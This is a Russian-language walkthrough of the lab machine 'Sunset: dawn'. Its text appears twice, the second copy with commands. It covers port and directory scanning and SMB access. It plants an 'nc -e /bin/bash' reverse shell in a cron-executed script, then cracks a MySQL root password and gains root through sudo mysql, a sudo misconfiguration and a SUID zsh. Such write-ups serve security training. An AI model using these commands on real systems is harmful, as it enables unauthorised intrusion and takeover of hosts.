Следующей машиной в нашей серии прохождений будет Sunset: dawn.
![](https://habrastorage.org/webt/om/1f/i_/om1fi_hpubxbqytesa3vpliljgk.png)
Автор: whitecr0wz
Так же как и в первом прохождении нам нужно определить IP-адрес нашей цели. Для этого используем команду
В моем случае IP-адресом будет 192.168.1.165.
Начнем наше сканирование с определения открытых портов
![](https://habrastorage.org/webt/bk/vs/pb/bkvspbmtvjkjxuprtoggy0_ca1o.png)
Видим, что у нас открыты 80, 139, 445 и 3306 порты, вот их мы и будем сканировать
![](https://habrastorage.org/webt/tv/gg/d3/tvggd3mchxeqi1nswvm_y6aogmg.png)
80 порт используется сайтом, пожалуй, начнем с него.
![](https://habrastorage.org/webt/b7/_u/7k/b7_u7kukgnotmhtlmfthbz4ncco.png)
Видим, что на сайте ничего интересного нет. Стоит проверить какие у сайта есть директории, для этого мы будем использовать gobuster
Где dir — режим для перебора каталогов, -w — выбранный нами словарь, а -o файл в который будут записываться результаты.
![](https://habrastorage.org/webt/nh/20/nj/nh20njqogkvbzae-du4jt_wf5tg.png)
Из результатов сканирования самое интересное место для нас logs, так что заглянем сначала туда.
![](https://habrastorage.org/webt/ef/vw/hw/efvwhwicfrtvm_qeks2n5s0_uaw.png)
Мы видим 4 файла, попробуем скачать их все.
![](https://habrastorage.org/webt/nn/e9/gi/nne9gin34elbyjy6b8mtyqfhbha.png)
Но тут нам не очень везет, у нес нет доступа как к auth.log, так и к daemon.log и error.log.
Зато мы можем скачать management.log (если файл пустой или мало весит, стоит либо подождать какое-то время, либо перезапустить виртуалку).
![](https://habrastorage.org/webt/wx/kf/la/wxkflakdxjmytlakr7te2woi8ya.png)
В логах мы видим, что на машине запускаются кронтаб задачи, которые помогут нам в будущем
Теперь давайте посмотрим, что интересного мы можем найти с помощью SMB.
Сначала проверим что у нас на 445, запускаем
![](https://habrastorage.org/webt/et/l3/mg/etl3mgbflmueh6-rhhktsdfhygu.png)
Нам доступна на чтение/запись папка ITDEPT, вот к ней и мы подключимся
![](https://habrastorage.org/webt/sm/xi/s_/smxis_r2ss3zxmmiijilitya5s4.png)
Пароль вводить не нужно, вместо него просто жмем enter. Как мы можем заметить из лога, что нам был доступен, именно из этой папки запускались файлы web-control и product-control. Данные файлы запускаются с опцией -c, которая определяет чтение команд из строки, следовательно, мы можем записать в файл команду на reverse shell
![](https://habrastorage.org/webt/5h/mm/tw/5hmmtwlvus52fseqwh18vakcrza.png)
Загружаем полученный файл через smb командой put.
![](https://habrastorage.org/webt/zw/xw/ut/zwxwut3opqpmeovoggjhvxphdec.png)
На своей машине прописываем
![](https://habrastorage.org/webt/6j/xt/d4/6jxtd4adc6klgytga68ylbhowem.png)
Ждем пока выполнится кронтабовская задача… и у нас есть шелл, пользователя www-data. Для удобства работы с шеллом сделаем его интерактивным с помощью питона
Вот мы получили доступ первого юзера, но если внимательно посмотреть по логам, то мы можем заметить, что кронтаб выполняет задачу также от пользователя с ID=1000 (UID=1000). Делаем те же действия, что и для первого пользователя, но во избежание путаницы лучше использовать другой порт, например, 9002. Вообще можно использовать любой порт, который не занят стандартными сервисами.
![](https://habrastorage.org/webt/pk/pu/iy/pkpuiyk_tcykdvuwvadp90ycxec.png)
И вот мы получили шелл как пользователь dawn
На этот раз не будем прибегать к помощи скриптов. В данных примерах повышение привилегий достаточно простое, так что мы найдем все ручками.
Для начала проверим, есть ли возможность у пользователя dawn запускать какие-нибудь файлы от имени root
![](https://habrastorage.org/webt/uu/ly/in/uulyinvrbagfjhjhuo-ieozjqio.png)
Как мы видим, на дозволено использовать mysql с правами суперпользователя, но если мы попробуем ввести команду для получения шелла, которую мы подсмотрели на GTFObins
То у нас ничего не получится, так как требуется авторизация, значит нужно найти пароль. Начнем с файла .bash-history, в котором записываются последние команды пользователя, введенные в строке консоли.
![](https://habrastorage.org/webt/tc/t2/ua/tct2uactfqoikrapez3w9bgqu7i.png)
О, а вот мы нашли какой-то хеш, и видим, что пользователь использовал mysql под учеткой root'а. Думаю, стоит крякнуть найденный хеш.
![](https://habrastorage.org/webt/cn/w5/e_/cnw5e_0mjanvojjbcg6c09apf88.png)
Джон нас не подводит, и мы получаем пароль onii-chan29, стоит попробовать его при аутентификации в mysql
![](https://habrastorage.org/webt/di/mv/hk/dimvhka7ifuqabpjysa-zhiu0l8.png)
Вот мы авторизовались в mysql как суперпользователь. Если ввести команду \?, то из всех представленных команд мы также можем запускать системные команды \!. Так давайте попробуем запустить шелл
![](https://habrastorage.org/webt/bb/ws/yd/bbwsyd-ikziz9_nll8vw9khox0u.png)
Вот мы и стали суперпользователем.
Не стоит забывать, что у нас есть еще один пользователь www-data, давайте посмотрим, что мы можем сделать с ним. Начнем также с проверки sudo -l.
![](https://habrastorage.org/webt/jk/b1/_b/jkb1_bimkzpodqow9n5qhqxm7b0.png)
Здесь мы видим, что нам доступно выполнение команды sudo с правами суперпользователя. Тогда давайте попробуем запустить шелл от имени root'а
У нас требуют пароль пользователя www-data, потому что мы запускаем sudo от имени текущего пользователя, чтобы проэксплуатировать данный вектор, нам нужно добавить в начало еще раз команду sudo, чтобы запустить sudo от имени суперпользователя без необходимости вводить пароль (как мы видели на скриншоте ранее), добавить опцию -i, чтобы прописать команду, которую мы хотим выполнить и -u root (пользователя можно и не указывать, так как команда и так запускается от имени root).
![](https://habrastorage.org/webt/pa/dc/kn/padcknpryc00ejs9p0xod1fo_xy.png)
И… вуаля, теперь мы root.
Для этого способа можем использовать любого пользователя. Сейчас мы проверим какие исполняемые файлы нам вообще доступны в системе
![](https://habrastorage.org/webt/vt/s2/dj/vts2djg_iehllsr8bsbmrm-9nv4.png)
Используем команду find, с опциями / — поиск по всем каталогам, -perm — с опцией -u=s, для поиска файлов с установленным SUID-битом, -type f — тип файла (f — обычный файл) и 2>/dev/null — данная опция скрывает ошибки в выводе команды (использовать ее можно с любой командой или даже исполняемым файлом). Можно, конечно, проверять каждый, но в данном случае нас интересует конкретно zsh, это просто командная оболочка, запустив которую мы получаем права root.
Эта машина, так же как и первая, не требует сверхсложных манипуляций. Как говорится boot to root.
Прохождения:
Sunset: 1
![](https://habrastorage.org/webt/om/1f/i_/om1fi_hpubxbqytesa3vpliljgk.png)
Автор: whitecr0wz
Так же как и в первом прохождении нам нужно определить IP-адрес нашей цели. Для этого используем команду
netdiscover
В моем случае IP-адресом будет 192.168.1.165.
Сканирование
Начнем наше сканирование с определения открытых портов
nmap -p- 192.168.1.165
![](https://habrastorage.org/webt/bk/vs/pb/bkvspbmtvjkjxuprtoggy0_ca1o.png)
Видим, что у нас открыты 80, 139, 445 и 3306 порты, вот их мы и будем сканировать
nmap -p80,139,445,3306 -sC -sV -oN dawn 192.168.1.165
![](https://habrastorage.org/webt/tv/gg/d3/tvggd3mchxeqi1nswvm_y6aogmg.png)
Поиск точки входа
80 порт используется сайтом, пожалуй, начнем с него.
![](https://habrastorage.org/webt/b7/_u/7k/b7_u7kukgnotmhtlmfthbz4ncco.png)
Видим, что на сайте ничего интересного нет. Стоит проверить какие у сайта есть директории, для этого мы будем использовать gobuster
gobuster dir -u http://192.168.1.165/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-directories.txt -o dir.out
Где dir — режим для перебора каталогов, -w — выбранный нами словарь, а -o файл в который будут записываться результаты.
![](https://habrastorage.org/webt/nh/20/nj/nh20njqogkvbzae-du4jt_wf5tg.png)
Из результатов сканирования самое интересное место для нас logs, так что заглянем сначала туда.
![](https://habrastorage.org/webt/ef/vw/hw/efvwhwicfrtvm_qeks2n5s0_uaw.png)
Мы видим 4 файла, попробуем скачать их все.
![](https://habrastorage.org/webt/nn/e9/gi/nne9gin34elbyjy6b8mtyqfhbha.png)
Но тут нам не очень везет, у нес нет доступа как к auth.log, так и к daemon.log и error.log.
Зато мы можем скачать management.log (если файл пустой или мало весит, стоит либо подождать какое-то время, либо перезапустить виртуалку).
![](https://habrastorage.org/webt/wx/kf/la/wxkflakdxjmytlakr7te2woi8ya.png)
В логах мы видим, что на машине запускаются кронтаб задачи, которые помогут нам в будущем
/bin/sh -c /home/dawn/ITDEPT/product-control
/bin/sh -c /home/dawn/ITDEPT/web-control
Теперь давайте посмотрим, что интересного мы можем найти с помощью SMB.
Пользователь 1
Сначала проверим что у нас на 445, запускаем
smbmap -H 192.168.1.165
![](https://habrastorage.org/webt/et/l3/mg/etl3mgbflmueh6-rhhktsdfhygu.png)
Нам доступна на чтение/запись папка ITDEPT, вот к ней и мы подключимся
smbclient //192.168.1.165/ITDEPT
![](https://habrastorage.org/webt/sm/xi/s_/smxis_r2ss3zxmmiijilitya5s4.png)
Пароль вводить не нужно, вместо него просто жмем enter. Как мы можем заметить из лога, что нам был доступен, именно из этой папки запускались файлы web-control и product-control. Данные файлы запускаются с опцией -c, которая определяет чтение команд из строки, следовательно, мы можем записать в файл команду на reverse shell
echo "nc -e /bin/bash 192.168.1.68 9001" > web-control
![](https://habrastorage.org/webt/5h/mm/tw/5hmmtwlvus52fseqwh18vakcrza.png)
Загружаем полученный файл через smb командой put.
![](https://habrastorage.org/webt/zw/xw/ut/zwxwut3opqpmeovoggjhvxphdec.png)
На своей машине прописываем
nc -lnvp 9001
![](https://habrastorage.org/webt/6j/xt/d4/6jxtd4adc6klgytga68ylbhowem.png)
Ждем пока выполнится кронтабовская задача… и у нас есть шелл, пользователя www-data. Для удобства работы с шеллом сделаем его интерактивным с помощью питона
python3 -c 'import pty;pty.spawn("/bin/bash")'
Пользователь 2
Вот мы получили доступ первого юзера, но если внимательно посмотреть по логам, то мы можем заметить, что кронтаб выполняет задачу также от пользователя с ID=1000 (UID=1000). Делаем те же действия, что и для первого пользователя, но во избежание путаницы лучше использовать другой порт, например, 9002. Вообще можно использовать любой порт, который не занят стандартными сервисами.
![](https://habrastorage.org/webt/pk/pu/iy/pkpuiyk_tcykdvuwvadp90ycxec.png)
И вот мы получили шелл как пользователь dawn
Повышение привилегий
Способ 1
На этот раз не будем прибегать к помощи скриптов. В данных примерах повышение привилегий достаточно простое, так что мы найдем все ручками.
Для начала проверим, есть ли возможность у пользователя dawn запускать какие-нибудь файлы от имени root
sudo -l
![](https://habrastorage.org/webt/uu/ly/in/uulyinvrbagfjhjhuo-ieozjqio.png)
Как мы видим, на дозволено использовать mysql с правами суперпользователя, но если мы попробуем ввести команду для получения шелла, которую мы подсмотрели на GTFObins
sudo mysql -e '\! /bin/sh'
То у нас ничего не получится, так как требуется авторизация, значит нужно найти пароль. Начнем с файла .bash-history, в котором записываются последние команды пользователя, введенные в строке консоли.
cat .bash_history
![](https://habrastorage.org/webt/tc/t2/ua/tct2uactfqoikrapez3w9bgqu7i.png)
О, а вот мы нашли какой-то хеш, и видим, что пользователь использовал mysql под учеткой root'а. Думаю, стоит крякнуть найденный хеш.
![](https://habrastorage.org/webt/cn/w5/e_/cnw5e_0mjanvojjbcg6c09apf88.png)
Джон нас не подводит, и мы получаем пароль onii-chan29, стоит попробовать его при аутентификации в mysql
mysql -u root -p
![](https://habrastorage.org/webt/di/mv/hk/dimvhka7ifuqabpjysa-zhiu0l8.png)
Вот мы авторизовались в mysql как суперпользователь. Если ввести команду \?, то из всех представленных команд мы также можем запускать системные команды \!. Так давайте попробуем запустить шелл
\! /bin/bash
![](https://habrastorage.org/webt/bb/ws/yd/bbwsyd-ikziz9_nll8vw9khox0u.png)
Вот мы и стали суперпользователем.
Способ 2
Не стоит забывать, что у нас есть еще один пользователь www-data, давайте посмотрим, что мы можем сделать с ним. Начнем также с проверки sudo -l.
![](https://habrastorage.org/webt/jk/b1/_b/jkb1_bimkzpodqow9n5qhqxm7b0.png)
Здесь мы видим, что нам доступно выполнение команды sudo с правами суперпользователя. Тогда давайте попробуем запустить шелл от имени root'а
sudo -u root -i '/bin/bash'
У нас требуют пароль пользователя www-data, потому что мы запускаем sudo от имени текущего пользователя, чтобы проэксплуатировать данный вектор, нам нужно добавить в начало еще раз команду sudo, чтобы запустить sudo от имени суперпользователя без необходимости вводить пароль (как мы видели на скриншоте ранее), добавить опцию -i, чтобы прописать команду, которую мы хотим выполнить и -u root (пользователя можно и не указывать, так как команда и так запускается от имени root).
![](https://habrastorage.org/webt/pa/dc/kn/padcknpryc00ejs9p0xod1fo_xy.png)
И… вуаля, теперь мы root.
Способ 3
Для этого способа можем использовать любого пользователя. Сейчас мы проверим какие исполняемые файлы нам вообще доступны в системе
find / -perm -u=s -type f 2>/dev/null
![](https://habrastorage.org/webt/vt/s2/dj/vts2djg_iehllsr8bsbmrm-9nv4.png)
Используем команду find, с опциями / — поиск по всем каталогам, -perm — с опцией -u=s, для поиска файлов с установленным SUID-битом, -type f — тип файла (f — обычный файл) и 2>/dev/null — данная опция скрывает ошибки в выводе команды (использовать ее можно с любой командой или даже исполняемым файлом). Можно, конечно, проверять каждый, но в данном случае нас интересует конкретно zsh, это просто командная оболочка, запустив которую мы получаем права root.
Эта машина, так же как и первая, не требует сверхсложных манипуляций. Как говорится boot to root.
Прохождения:
Sunset: 1